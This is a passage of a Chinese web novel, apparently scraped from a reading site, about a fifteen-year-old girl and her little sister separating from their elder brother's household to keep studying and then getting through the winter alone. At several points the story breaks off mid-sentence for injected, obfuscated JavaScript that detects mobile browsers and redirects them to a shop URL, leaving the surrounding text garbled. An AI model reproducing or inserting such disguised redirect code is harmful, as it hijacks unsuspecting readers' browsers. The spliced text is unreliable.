林建设不想再供妹妹上学了,他十五岁就下井干活了,凭什么林豆蔻也已经十五岁了,还坐享其成非要继续上学? 但分家是不可能分家的。 他们父母都去世了,不是他这个当大哥的不管,而是妹妹想要分家,但外人并不知道啊,指定会有人说,是他这个当大哥的容不下两个妹妹,把她们撵出门了。 林建设除了爱攒钱,还非常爱面子,他觉得分家太丢人了,“大爷爷,要是别的事儿,我一个字都不多说,肯定听你的,但分家不行,两个妹妹这么小,这么干没良心。” 刘爱玲也说,“是啊,这么干不行,那我们成啥人了,不能叫外人笑话。” 虽说平时她看两个小姑子不顺眼,私下里几乎没给过好脸儿,但又不得不承认,两个小姑子住在家里,真的省了她好多事儿,像做饭洗衣服打扫卫生这些,都能帮着干了,而且豆蔻还挺会做饭,木香年龄小,干不了多少活儿,但也能割草喂猪,或者陪着女儿林丽娜一起玩儿。 正是因为有两个小姑子,她才能腾出来手,跟着计划生育服务站的人一起去下乡,虽然是去农村,但身份不一样啊。 村里干部可不知道她是临时聘用的,一样的热情招待,有时候临走还给捎上一大包东西,虽然都是不值钱的玩意儿,但到底体面。 如果两个小姑子分出去了,她一个人带着两个孩子,还要干家务,等开春还要下地干活儿,想想都头疼,计划生育服务站的活儿是别想干了。 林校长一点儿也没给他们两口子留面子,“你以为现在不分家,别人就说你有良心了?你父母都去世了,你咋管的两个妹妹?你看她们都面黄肌瘦,你们一家子吃白面馒头吃肉吃鸡蛋,让豆蔻木香吃窝头咸菜,还成天吃不饱,你把别人当瞎子,都看不见?” 林建设看向妻子刘爱玲,刘爱玲矢口否认,“大爷爷,这是谁传的瞎话,可不是这样的,豆蔻个子窜得快,正抽条呢。” 林校长不听解释,态度十分强硬,“你们不想供两个妹妹上学了,那就必须分家,要是觉得我的话没份量,我这就去把怀振叫来,让他帮你们分家。” 林建设一听就慌了,林校长说的怀振,是周怀振,是林校长的亲外甥,当初也曾是林校长的学生,现在是青山镇的副镇长,主管农林水矿。 小青山煤矿就是归周镇长管的。 林建设一直都想当小队长,他的表现也足够好,但每次他感觉应该轮到他了,每次都不是他。 如果周镇长能帮着说句话,那指定好使。 不过短短几十秒,他的心思转了又转,最后说,“大爷爷,我父母都去世了,爷爷奶奶也都不在了,分家可不是小事儿,还是得多几个长辈在场。” 林校长点头表示认可,“也行,我没时间为你家的事儿跑来跑去的,你想叫谁来,现在就去叫吧。” 刘爱玲急急的说,“我去叫吧,建设,都叫谁?二爷爷,三大爷,还有建水哥和建华哥?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他又看向豆蔻,“你们还小,觉得上学好,上学可不挣钱,你巧红姐也闹过,现在不也挺好吗?” 谁来也巧,在场的算上林豆蔻,一共是八个人,支持她分家上学的有林校长,林建水,林建华,还有她自己,不支持她的有她哥她嫂子,二爷爷和三大爷。 各自都是四个人,一时一方很难说服另一方。 这么僵持了一个多小时,二爷爷忽然觉得身体不适,他是林建华的亲爷爷,林建华扶着他先走了。 林建设本来以为这事儿会不了了之,谁知也就一眨眼的功夫,他就出门送了送二爷爷,顺便上了个厕所,再回到屋里,三大爷竟然也改了主意。 “建设,你听我一句,你要是真不想供豆蔻上学了,让他俩分出去单过也行,你二爷爷刚才说的不对,咱们镇上咋没有闺女分出去单过的,有好几家呢,他老糊涂了,你把两个妹妹分出去,这样两下里都合适,你放心,有我们做见证,外人不敢说三道四。“ 林建设又气又恼,刘爱玲嘴快,“三大爷,你说的真好听,你又不是镇上的干部,你连村里的干部都不是,你做见证能有啥用,再说了,你家巧红不也学习挺好,还考上了县中,你咋不供她上学? 三大爷笑了,“可别瞎说,咱们两家的情况不一样,俺家巧红可没有豆蔻学习好,她考上的也不是县中,是县里的三中,都说那学校不好,根本不值得去上。” 5. 第五章 刘爱玲觉得三大爷讲的是歪理,别管县中还是县三中,那就是高中,自家孩子考上了不上,辍学捡煤绣花挣钱,却蹿腾她的小姑子继续上学,这安的是什么心? 她正要继续说话,大门忽然响了,接着有人大声问,“爱玲侄女在家吧? 这声音听起来有些熟,又一时想不起来,但既然这么称呼她,应该是她娘家那边的亲戚,刘爱玲的娘家离得很近,就在镇子旁边的一个自然村,叫刘家村。 很快一个又高又壮的中年男人走进来了,不是别人,是赵振铎老师。 他今天下午上完课回到家,又喂了一遍猪,给两个孩子做了饭,吃完饭天都黑透了,妻子竟然还没从娘家回来,他便张罗着去接,但也不知怎么的,又想起来林豆蔻的事儿,就顺便来了,决定先管上一管。 赵老师的妻子刘金香,也是刘家村的,是刘爱玲的堂姑,虽然平时来往不算多,但按辈分的确应该叫刘爱玲侄女。 刘爱玲还当是谁呢,这个堂姑父她可不待见,每次路上碰到,这个堂姑父话里话外都是夸小姑子,让他们作为哥嫂,好好的供她上学。 每回听得她都说不出来的厌烦。 赵振铎老师走进屋,十分自来熟的坐在林校长的旁边,刘爱玲没动,林豆蔻赶紧给班主任倒了一碗水。 晚饭做得有些咸了,赵老师还真的渴了,他一仰脖一碗水全下了肚,林豆蔻赶紧又给他倒了一碗。 赵振铎清了清嗓子,“林校长,豆蔻这事儿咋定的,她学习这么好,咋就能不上了,现在谁家也不缺这十几块,可不能这么小气,也不能这么鼠目寸光,只顾眼前。” 林建设和刘爱玲一下子被气得不轻。 赵振铎又说,“凡是不重视教育,不肯让适龄未成年人上学的人,都是不关心国家政策,不关心国家未来前途的人,建设,爱玲侄女,你俩都还年轻,又都踏实肯干,我听说建设在矿上干得不错,马上要当小队长了,爱玲侄女也经常跟着计划生育服务站的人下乡,你俩都追求上进,可不能在这上面表现太差。” 赵老师的才华绝不仅限于授课,他的口才很好,尤其最近几年,最擅长胡说八道和诡辩,而且动不动就上高度,让人都没法反驳。 这让他受益良多,不但劝退了很多想要让孩子辍学的父母,跟妻子刘金香每次吵架斗嘴,也从之前总是战败,变成了每次都赢。 而且每次刘金香都被气得说不出话。 林建设和刘爱玲此时也是被气得够呛,这个赵振铎不是老师吗,怎么和镇上的长舌妇似的,咋这么了解他们两口子的事儿。 林校长抬眼看了一下左边,林建水立即说,“是呢,赵老师说的对,现在国家都重视教育,咱们老百姓得跟着政策走,建设,你刚成家没几年,还养了两个孩子,家底儿薄,你不想供两个妹妹上学了,也行,咱都能理解,谁也不会因为这个事儿笑话你,就今天趁着都在,分家吧。” 林建设皱着眉头看向堂哥,却发现堂哥冲他挤了一下眼,似乎是有特别的暗示。 林校长觉得差不多了,“既然你们也都觉得该分家,那我今天就做主,帮他们兄妹把加家分了,建设,你是哥哥,你家的老房子你赶紧找人修一下,至少要能住人,你母亲留下的两百多块钱,你分给豆蔻一百,她现在用的所有物件,大到床,桌子凳子箱子,小到吃饭的碗筷,你都让她带过去,再就是日常用的东西,都分给她一些。” “你家共有十四亩地,你把东边那块四亩多的平地分给她俩就行了。” 他没有提林豆蔻母亲留下的金首饰,一来这东西国家不允许买卖,见不了光,二来豆蔻和木香的确还小,分到了也不一定能拿住,倒不是她们丢了卖了,而是引了小偷,那就不好了。 林建设听得叹了口气,他此刻心里已经有一丝后悔了,后悔怎么就急着让豆蔻辍学了,他现在工资挺高的,其实也能供得起两个妹妹上学。 没有这事儿,那现在过得还是安安稳稳的日子,但此刻他若是说不分家,恐怕也不行了。 而且以后豆蔻以后若是真考上了县中,那一年就不是十几块了,三年县中,没个五六百估计下不来的。 虽说有母亲留下的钱,以及两个妹妹名下的地,但种地交了公粮,再留下口粮,还能挣几个钱?农忙时还要白搭好些功夫,地分出去了,他也能少请些假,地里的活儿爱玲差不多也能自己干完了。 这样也挺好。 开弓没有回头箭,这事儿也只能这样了。 反正姑娘长大了都是会嫁人的,长大了都外向,他的两个妹妹也不会例外。 此时豆蔻看他这个亲哥哥的眼神儿,就跟看仇人也差不多了。 不过这样也好,以后就能专心过自己的小日子了。 他正要全部答应,刘爱玲实在忍不住了,今天这事儿,她要么没有说话的机会,要么说了别人也不当回事儿,她一直都是非常生气和更气,以及气炸的状态中切换,这是他们自己家的事儿,分家不分家的,怎么就轮到别人做主了? 现在早就新社会了,不兴以前那一套了,长辈咋了,长辈如果办事儿不够公道,她也可以不听。 这么个分家法儿,她太吃亏!不但没有小姑子帮着干活儿了,还要分走家里的钱,家里的东西,以及最好的一块地。 她跳起来嚷嚷,“不行,不能给她们那块地,那是最好的一块地!” 整个青山镇都坐落在山坳里,大部分都是零散的梯田,只有少数平整的地块,东边那块地,正好就是特别平整的一块地,而且正好就四亩多点儿。 不仅如此,刘爱玲竟又说,“我们不分家了,我和建设都不同意分家,两个妹妹这么小,我们坚决不分!” 林建设自然明白妻子的意思,但分有分的好处,不分有不分的好处,一时之间,他竟然难以抉择。 林建水正要说话,赵老师先一步笑着开口了,“爱玲侄女,你听了我刚才的话,你现在后悔了?你也不想把两个妹妹分出去是吧,可现在晚了,不是什么事儿都有机会反悔,行了,也别颠三倒四的,一会儿这样一会儿那样了,你不想分,那就是想继续供豆蔻木香上学?你别想跟我们耍心眼子,现在供,等豆蔻考上县中了再反悔是吧,别人不知道,我可知道你打的什么主意!” 刘爱玲忍不住反驳他,“我能打什么主意?” 赵振铎语出惊人,“你想着法子让豆蔻辍学,不就是想以后把她说给你那瘸子兄弟?” 刘爱玲上头有一个哥哥,也是很能干很过日子的人,下头有妹妹和弟弟,是一对双生儿,今年都二十三了,妹妹眼光高,一心想嫁个城里人,这两年到处相亲,还没找到合适的,不过她长得不丑,尤其那一身的白皮子很勾人,不愁嫁,唯独她的弟弟,小时候从梯子上摔下来摔坏了脚踝骨,走路一瘸一拐的。 她弟弟虽然是个瘸子,但人很聪明,跟人学了兽医,特别会给畜生看病,比普通健全的人一年挣得钱还多呢。 刘爱玲的弟弟刘贵生隔三差五就来镇上一趟,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983982|193591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐渐看出一些不寻常,的确有这个想法和打算。 林建设不可思议的看向妻子,他的妹妹再咋样,也不至于嫁给一个瘸子,而且豆蔻还那么小,这方面的事儿连他都从没想过呢。 刘爱玲不记得这事儿跟别人说过,自然不认账,“你可别胡说八道,上门给俺弟弟说亲的有的是!” 林建设皱眉,终于下定了决心,看着林校长说,“大爷爷,我和我妹妹豆蔻都同意分家,就按照你说的分吧。” 林校长又说到那块地,“建设,不是非要你的好地,她俩种地,若是梯田,播种灌溉收割都不方便,咱青山镇的责任田每人两亩七,她俩占了一块四亩的平整地,但数量上少了,也算找补回来了,不算太占你的便宜。” 林建设点了点头,又吩咐妻子,“爱玲,你去把咱妈留下的金首饰拿出来,也分给两个妹妹一些。” 这倒有些出乎意料了。 刘爱玲这会儿正生丈夫的气,林建设若是咬死了不分家,管他什么大爷爷,什么校长,还能管别人的家事儿,又不是正经长辈,她都说的那么明确了,她不想把两个小姑子分出去,丈夫分明听懂了,但一点儿也没考虑她的意见。 只要不分家,即便暂时不辍学,两个小姑子攥在她手里,有的是办法,再聪明的人,要是没时间学习,那成绩不得往下掉啊。 以后不止早上要去捡煤,晚上要纺棉花,她还会经常生病,让豆蔻请假在家照顾她和两个孩子。 林豆蔻又不是什么神童,这么下去,肯定成绩就不能好了。 到时候考不上县中就没脸了,不辍学也必须辍学了。 可林建设竟然那么轻易地就答应了,而且还想金子分出去,这咱们可能呢,这些金子都是她的,谁也别想从她手里抢走。 刘爱玲装糊涂,“你说什么?咱妈不就留了两百多块钱,家里没有那么多现钱,等你发了工资再说吧。” 林建设推了她一把,“快去拿!” 刘爱玲去里屋去了好半天,手里拿着一个小小的金戒指,“就这点儿东西,你说咋分?” 青山镇以前好多外出经商的人家,藏铜钱,银元的人家不少,听说也有少数藏金子的。 林家以前曾经阔过,都还以为有多少好东西呢,等刘爱玲拿出来一个特别细的金戒指,在场的人都还有点儿失望。 别说现在没人收,即便以后有人收,这点儿金子,按照以前的金价,也值不了几个钱。 林建设拿过那枚戒指给了大妹妹。 母亲留下的金首饰当然不止一个金戒指,但现在当着那么多人的面,肯定是不能说破的。 林豆蔻不肯要,“哥,就一个金戒指,让嫂子留着吧,咱爷爷奶奶就留下了这么一个老物件儿。” 刘爱玲上前一把抢了过去。 总体来说,分家分得还算顺利,次日林豆蔻照常去上学,林建设却跟矿上请了假,招呼了几个本家的兄弟,和泥的和泥,补瓦的补瓦,把门窗修好了,院墙和大门也都修好了。 破旧的老院子看起来比之前好多了,最起码能住人了。 又隔了几日,正好赶上星期天,姐妹俩先搬些小件儿,再把床,桌子等都搬了回来,这边老房子还留了不少以前的物件儿,擦拭一下也还能用。 当天晚上,林豆蔻和妹妹一起睡在里屋,这间屋子爷爷奶奶以前住过,父亲母亲也住过,现在轮到她和妹妹住了。 真好。 这屋子里有以前的熟悉的家的味道。 6. 第六章 夜渐深沉,四周寂寥无声,妹妹木香睡得很香,林豆蔻做完作业也躺到了被窝里,怀着对未来生活的美好畅想,她也很快睡着了。 第二天天没亮,和往常一样,姐妹俩被冻醒了。 以前是因为大哥家给她们住的屋子墙太薄,门窗屋顶也不够严密,现在是因为这老房子久不住人潮气很重,再加上屋顶是新修过的,也会返潮。 最主要的是,外面下了好大的雪。 豆蔻推开房门,发现整个院子都被厚厚的积雪覆盖了,冷风夹裹着雪花吹进来,把她呛得打了个喷嚏。她赶紧又关上门,旧棉袄外面又加了一件衣服才重新出来。 家里没有大扫帚,只有一个半秃了头的小扫帚,扫不了这么厚的雪,她顶着雪花去了邻居家借。 右面住的是一户姓张的人家,男主人叫张继武,在县里供电所上班,平时并不在家,女主人叫刘福巧,豆蔻母亲在世的时候,和刘福巧关系很好,豆蔻喜欢叫她福婶儿。 福婶的确比一般人有福气,张继武是个孤儿,也有人说他命硬,克死了爷爷奶奶父亲母亲。 当初福婶儿嫁给张继武的时候,家里特别穷,什么都没有,但婚后没多久,张继武就因为上过初中,被村里推荐招工进了县供电所,本来是临时工,后来他自学了大专夜校,很快转成了正式工,现在已经是县供电所的中级干部了。 另外几个和他同一批被招工的,要么已经被辞退了,要么还是工人。 福婶儿有两个儿子,大儿子现在也在县供电所上班,小儿子在县里上高中。 平时爷儿仨都在县上,都不在家。 福婶儿是个勤快人,早早就起来了,打扫了院子,小米发糕都蒸好了,看到顶着风雪进来的半大姑娘,笑着说,“豆蔻来了,我昨儿去串门了,没赶上你们搬家,咱们镇西头的人家都往东跑,这周遭都空了好几家了,你和木香搬回来可太好了,这下又热闹了,以后你缺啥少啥,只管跟我说。” 林豆蔻也笑了笑,“福婶儿,我家没有扫雪的大扫帚,跟你借一个用用。” 福婶立即拉开东厢房的门,不大的屋子,里面排着队放满了各种工具,有下地干活儿用的,也有日常用的,光是扫帚就有四五个。 她拿起一个旧竹扫帚,说,“我上次赶集买了个新的,这个我用不着了,你拿去用吧,不用还给我了。” 林豆蔻有些不好意思,“福婶儿,谢谢。” 福婶中等身材,略有些胖,虽然常年干活儿,面皮子还挺白,大眼睛大鼻子大嘴巴,笑起来像个盛开的太阳花,“你别急着走,你等我一下!” 很快,她手里拿了一个粗瓷大碗,里面是两大块还冒着着热气的发糕。 林豆蔻不肯要,慌慌的说,“不用了,我一会儿扫了雪就热饭,我走了!” 她尽可能快的往外走,但还是被福婶儿撵上了,福婶儿把发糕硬塞给她,“你这孩子,我是看着你长大的,也就这一两年不在眼前儿,怎么跟我还客气上了,快拿着!” 林豆蔻双手捧着粗瓷大碗,大竹扫帚夹在腋下,很快回到了家,她先把院子里的积雪扫了,然后生火做饭。 这老房子原来是有灶房的,去年地震的时候也塌了,房子整个都是土坯的,塌得特别彻底,屋顶和四面墙都没了,只留下了一个青砖砌成的灶台。 豆蔻昨天已经收拾并且用过了,只不过现在下着雪,柴火都是湿的,她费了半天劲才生了火,先烧了一锅热水,又熬了玉米粥,本来她准备热窝窝头的,现在有了发糕就不用了。 姐妹俩一人一大碗玉米粥,一人一大块发糕,就着腌萝卜吃得很香,木香搓着手高兴地说,“姐,还是搬出来好!” 林豆蔻笑了笑,心疼地看了看妹妹的小手,其实她的手也没好到哪里去,也是一样的又红又肿。 以前母亲在世的时候,姐妹俩都不生冻疮,母亲黄爱芬不仅会做饭,针线活儿也很好,每年冬天,她总是早早就做了厚棉鞋,厚棉袄,还有棉手套和棉帽子,母亲去世后,就没人操心这些了,姐妹俩去年生了冻疮,今年也生了冻疮,手上脚上都有。 吃过饭,林豆蔻把所有的柴火都搬到了屋里,雪一直下个不停,等中午回来,若是都湿透了,那就更不好生火了。 她还找了一个破席子把锅灶盖住了。 临近中午放学,雪终于停了,林豆蔻回家的路上,无意间发现了一只粗陶罐,罐子挺大,足有半人高,能闻到一股子腌萝卜的气味儿,应该是个腌菜坛子,不过因为底儿碎了,被随意扔在了镇子口的路边。 林豆蔻站在原处等了好一会儿,没人来,也没人找,的确这是别人扔了不要的粗瓷罐子。 她异想天开,觉得这坏了的陶罐正好可以做个柴火炉。 回到家,木香也已经放学回来了,她被冻得小脸呆滞,坐在凳子上笼着袖子缩着肩膀,“姐,你回来了,咱这屋里真冷!” 林豆蔻将陶罐放在地上,搓了搓冻僵的手,笑着说,“木香,我这就生火,一会儿就暖和了。” 她找了几个碎砖头垫在下面,将陶罐稳稳地放在上面,先往瓦罐肚子里塞了一些玉米芯,用干草点了火,从瓦罐底儿破损的地方放进去,玉米芯有些潮,但引了两次火就点着了,玉米芯越烧越旺,她又往里面塞了更大块的木柴。 即便早上已经把柴都搬到屋里了,但昨晚下了半夜的雪,木柴早就沾湿了,一下子冒出好多浓烟来。 林豆蔻被呛得咳了好几声,林木香赶紧找了一个旧蒲扇给她。 扇了一会儿风,浓烟消失了,屋子里也逐渐暖和了。 林木香一边烤火一边问,“姐,你从哪儿拿的陶罐,谁给你的?” 林豆蔻摇头,“从路边捡的。” 林木香的两只小手上全是冻疮,烤了一会儿觉得发痒,她把凳子往后拉,肚子忽然发出了响亮的咕噜声。 如果有个小铁锅,就可以在陶罐炉子上做饭了,但她们没有。 林豆蔻还是烧了外面的露天大灶,热了昨天剩下的窝头,就着开水和腌萝卜,木香吃了两个她吃了三个。 姐妹俩都没吃饱,但还是都挺开心,原先在大哥家的时候,林豆蔻总有做不完的活儿,林木香想找姐姐说话,有时候都没有时间,现在,她仰着小脸缠着姐姐问东问西,又把自己学校的事儿都说给豆蔻听。 等陶罐炉子里的火燃尽了,姐妹俩又一起去上学了。 大概是老天下顺了,到了傍晚,竟又飘起雪花。 他们镇中学在半山腰,是由一处寺庙改建的,离着镇子有些远,这次放学后,林豆蔻第一次没有着急,不但不着急,反而有意识放慢了步子,很快她就落在了后面。 她的同桌赵贵仙觉得奇怪,催她,“豆蔻你咋了,快走啊,一会儿雪下大了路滑!” 林豆蔻点了点头,加快了脚下的步子。 其实她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983983|193591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直在犹豫一件事儿,回家的路上,会经过镇上的一家杀猪店,他家比镇上国营肉店的猪肉更新鲜,而且不要肉票,他家生意可好了,每天下午都要杀一只猪。 他家猪肉的价格是一斤一块钱。 如果买上一块钱的肉,她和妹妹就能吃好几天肉片炖白菜了。 豆蔻手里现在有五十三块五毛钱,三块五是她自己攒下的,五十块是大哥才给的,本来分家分了一百二十元,他说手头只有这样,等放工资了再把剩下的给她。 她长这么大,第一次手里有那么多钱。 豆蔻已经下定了决心,但临近杀猪店的时候,突然又改变了主意,以后的日子长着呢,她和木香又没有别的收入,这些钱花一块少一块,还是省着点儿吧。 现在她很后悔,没有把嫂子家养的那十几只母鸡抓两只回来,当初买的小鸡崽,还是用了她捡煤换来的钱呢,而且买回来也都是她和木香负责喂,她刘爱玲没有操半点心。 但家都分完了,她再去抓不太适合了。 当然还可以买鸡蛋,但一个鸡蛋五分钱呢,她也不舍得买。 林豆蔻很想给妹妹做点儿好吃的,她很会做饭,不管做什么都很好吃,但家里只有一袋子玉米面,一点儿小米,半筐白菜和半筐萝卜,一坛子腌菜,一袋盐,一点儿豆油,别的没了。 真是巧妇难为无米之炊。 林豆蔻快走到家的时候,还真想起一个吃食,是以前母亲黄爱芬曾经做过的,那就是玉米面菜团子,一般是青黄不接的时候做着吃的,用春天的野菜做馅,或者嫩嫩的萝卜缨也行,青菜馅里加一把野韭菜,或者一小把虾皮,吃起来很鲜。 不过现在没有野韭,也没有虾皮,估计味道会差一些。 没想到回到家,家里竟然很热闹,林大奶奶带着孙女林凌来了,还有福婶儿也在,两个人正在聊家常,木香和林凌一人坐着一个小凳子,正在玩儿翻花绳呢。 林大奶奶看到她就笑了,“豆蔻,你这孩子,都搬过来了也不过去说一声,过日子需要的东西多着呢,我给你送来了一些,再缺什么,直接去家里拿就行。” 林豆蔻看了看摆在旁边的东西,有一个崭新的洗脸盆,里面放着新毛巾,一大袋洗衣粉和蓝色的海鸥洗发膏,还有一大瓶子芝麻油。 另外还有一网兜鸡蛋放在了桌子上。 福婶儿也说,“是啊,过日子需要的东西太多了,豆蔻,我也拿了些我用不着的东西,咱们离得近,缺什么找我。” 她拿来的是两件旧棉袄,两瓶麦乳精,两袋大白兔奶糖,还有几个新的粗瓷碗,有大有小,另外一个大海碗里面装着的,是七八个热气腾腾的肉包子。 这会儿外面的雪很大,风也很大,不知道是不是风呛到了眼睛,林豆蔻觉得眼睛发涩发痒,特别地不舒服。 她笑着把眼泪憋了回去,不好意思地说,“大奶奶,福婶儿,谢谢。” 两位长辈送来那么多东西,若是算成钱,恐怕是不小的数目,何况这又不仅仅是钱,这是人家好心帮她,但这一份沉甸甸的关爱,她现在无以回报,能说的只有谢谢了。 林大奶奶和福婶儿又坐了一小会儿,说家里还有事儿就走了。 客人一走,林木香立即从小凳子上弹跳起来,眼睛亮亮的,笑着说,“姐,你看,好多好吃的,有鸡蛋,麦乳精,有糖,还有肉包子!” 林豆蔻摸了摸妹妹的头,什么也没说。 7. 第七章 三九四九冰上走,一年当中最冷的时节到了。 早上去上学的事后,林豆蔻穿了两件棉袄,外面还穿了母亲黄爱芬生前的外套,妹妹木香和她一样,也是穿了两件棉袄,脚上穿了福婶儿给做的厚棉鞋,在雪地里走不觉得冷,坐在教室里也不觉得冷,回到家还可以烧火取暖,那就更不冷了。 比较难办的是晚上。 姐妹俩的被褥很薄,即便睡前被窝里塞了几个灌满了热水的输液瓶,也还是冷,天天都会被冻醒。 要想睡觉的时候不冷,必须烧火炕才行。 青山镇几乎家家户户都有火炕,临睡前往里面点一把火,放上几块厚柴,一整晚炕上都是滚热的。 原本这边的老宅子是有火炕的,而且还是十分结实的青砖火炕,去年地震后,大哥非要她们搬到他家住,还临时给她们盖了一间屋子,当时砖头不够用,就把这边的火炕给拆了。 林豆蔻原本想的是添置一床厚被子,棉花倒还不算贵,五毛钱一斤,主要布料也太贵了,反正一床厚被子做下来,咋也得十几块了。 她已经尽可能的少花钱了,但有些必不可少的开销,比如买作业本,买铅笔橡皮,买练习本,买盐,福婶儿送来了两双新做的棉鞋,但她们的袜子也早烂得不能补了,不得已,花了八毛钱买了两双袜子。 她手里的钱越来越少了。 林豆蔻决定还是盘炕比较划算,好多人家的火炕就是土炕,是用一种特殊的土打成土坯,一层层垒上去,只用几块砖留个烧火口就行了。 福婶儿家是砖炕,但住在她家左边的邻居,她的堂哥林建华家里,就是盘的这样的土坑。 林建华为人温和,对谁都笑眯眯的,他在镇上有一个豆腐坊,平时很忙,一般都不在家,堂嫂忙完家里也去豆腐坊帮忙,因此,他家经常只有两个女儿在家,他家大女儿和木香同岁,经常来找木香玩儿。 有时候木香也去他家。 这天下午,林豆蔻做好了晚饭去堂哥家叫妹妹吃饭,顺便带了一根绳子,她仔细看了堂哥家的土炕,还量了一下尺寸。 要想盘炕,必须找盘炕用的黏土,普通的土倒也不是不能盘炕,但不如黏土,这种土发黏,越烧越结实,比普通的土更好。 林豆蔻没事儿就去山腰上转悠,这天是星期天,她在山里寻摸了半天,终于找到一处合适的。 这一片黏土面积挺大,而且周围地势相对平坦,挖了土,她可以不用太费力的背走。 天实在太冷了,一铁锨下去,地上只是划了一道痕,她的虎口倒被震得生疼。 忙活了半天,只挖了半筐土。 下次再来,林豆蔻带了火柴,捡了枯枝堆在上面,然后点了一把火,等火燃尽了再挖土,土层受热化了冻,果然就很好挖了。 接下来几天,她每天傍晚放学都先挖一筐土回家,有次正好被福婶儿看到了,心疼的说,“豆蔻,你这个傻孩子,挖土咋不叫我,我在家闲得很!” 第二日,福婶儿帮着挖了两推车的土,加上之前的,盘炕足够用了。 按说有了土,就能打土坯子了,但这活儿是有些技术含量的,土坯子打不好,盘出来的炕不好烧,也不结实。 虽说镇上家家户户都有火炕,但不少都是砖炕,砖炕盘起来简单,烟道留得更宽,烧起来也省事,会盘土炕的人越来越少了。 请人盘炕倒不用花钱,但也需要招待人家一顿好饭作为谢礼。 福婶儿张罗着要帮她找人,林豆蔻却第一次撒了谎,“福婶儿,不用了,我大哥说抽空帮我盘炕。” 林建设会不会盘炕,她并不清楚,她打算自己试一试。 林豆蔻不觉得打个土坯子有多难,她往土里掺了少量的稻草,这样可以让土坯更结实和更容易成型。 有时候想是一回事儿,实际又是另一回事儿。 林豆蔻浪费了两天的时间,结果做出来的泥坯不能用,她和了一遍又一遍泥,一直到第三日,才算做出了能用的土坯。 别人盘炕都是最多两天,她足足用了一个星期。 新盘的火炕不能睡人,得烧上几日,等它彻底干透了才行。 老宅子开间很大,靠墙盘了炕,原来的床放在另一侧,屋子里也并不局促,林木香坐在床上,手里攥着铅笔,眼睛却盯着冒着烟的火炕。 “姐,咱什么时候能睡炕啊?” 林豆蔻正在低头背单词,笑了笑说,“快了,都烧了五六天了,再有两天差不多了。” 有了火炕,寒夜变得没有那么难捱了,姐妹俩也不会被冻醒了。 不知不觉中,冬天已经过去了一大半。 林豆蔻和妹妹木香适应得很好,已经习惯单独过日子了。 靠着林大奶奶送来的鸡蛋,姐妹俩偶尔能喝上一碗鸡蛋花,生鸡蛋打到碗里,用沸水冲开,筷子快速搅一搅,再撒上盐和葱花,滴上几滴芝麻油,热乎乎的喝上一大口,能满足一整天。 不仅有鸡蛋花,还有麦乳精,麦乳精喝起来又香又甜,闻起来也特别香,木香每次喝,都要先闻上一阵子,笑着说,“姐,真香呀。” 大白兔奶糖则是一种软糯的甜,又甜又粘牙。 靠着福婶儿送来的两件厚棉袄,以及后来又送来的两双新做的鞋,抵御住了冰天雪地,再冷的风都吹不透了。 当然了,姐妹俩平常吃的最多的还是白菜萝卜窝窝头和玉米面粥,旧棉袄外面的罩衣,也还是打满了补丁,分了家的最大好处,其实是重获了自由。 林豆蔻的学习时间比之前充足太多了,一般都不必熬夜了,早上起来脑子也就不会昏昏沉沉了,之前觉得比较难的题目,或者需要背诵的诗词,现在觉得都简单了很多。 妹妹木香也不用总被拘在家里,赔着不讲理的侄女晚了,她写完作业了,想去找谁玩儿都没人拦着。 又下了几场大雪之后,期末考试如约而至,老师批卷的效率很高,隔了两天分数就下来了。 林豆蔻这次考得特别好,以前她的成绩总在年级前十打转,上一次月考追到了年级前五,这一次史无前例,是年级第三。 她们二班有两个很聪明的学生,一个叫赵秋琴,她的数学成绩非常好,每次考试都几乎是满分,物理化学也都特别好,唯独语文和英语略差一点儿,总成绩基本都排在年级前二,她和一班的张俊芳轮流争年级第一。 另一个叫张正军,他的数理化和赵秋琴差不多,但他语文英语差一些,通常只能考班里第二名,年级排名不一定,也可能前五,也可能前十,但很少会掉出前十。 林豆蔻在他们班,是万年老三,在班里是第三名,在年级一般是前十,有时也会掉出前十,是十一或者十二。 她是那种学习好但并不起眼的学生,因为她没有明显的优势,也没有明显的劣势,各科都学得不错,但离着顶好又差点儿意思。 林豆蔻是万万没想到自己能考过张正军。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983984|193591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不仅是她,赵老师也很意外,下课后,他单独把林豆蔻叫到办公室,很是鼓励了她几句话,但又让她不要骄傲,一定要保持住现在的学习成绩。 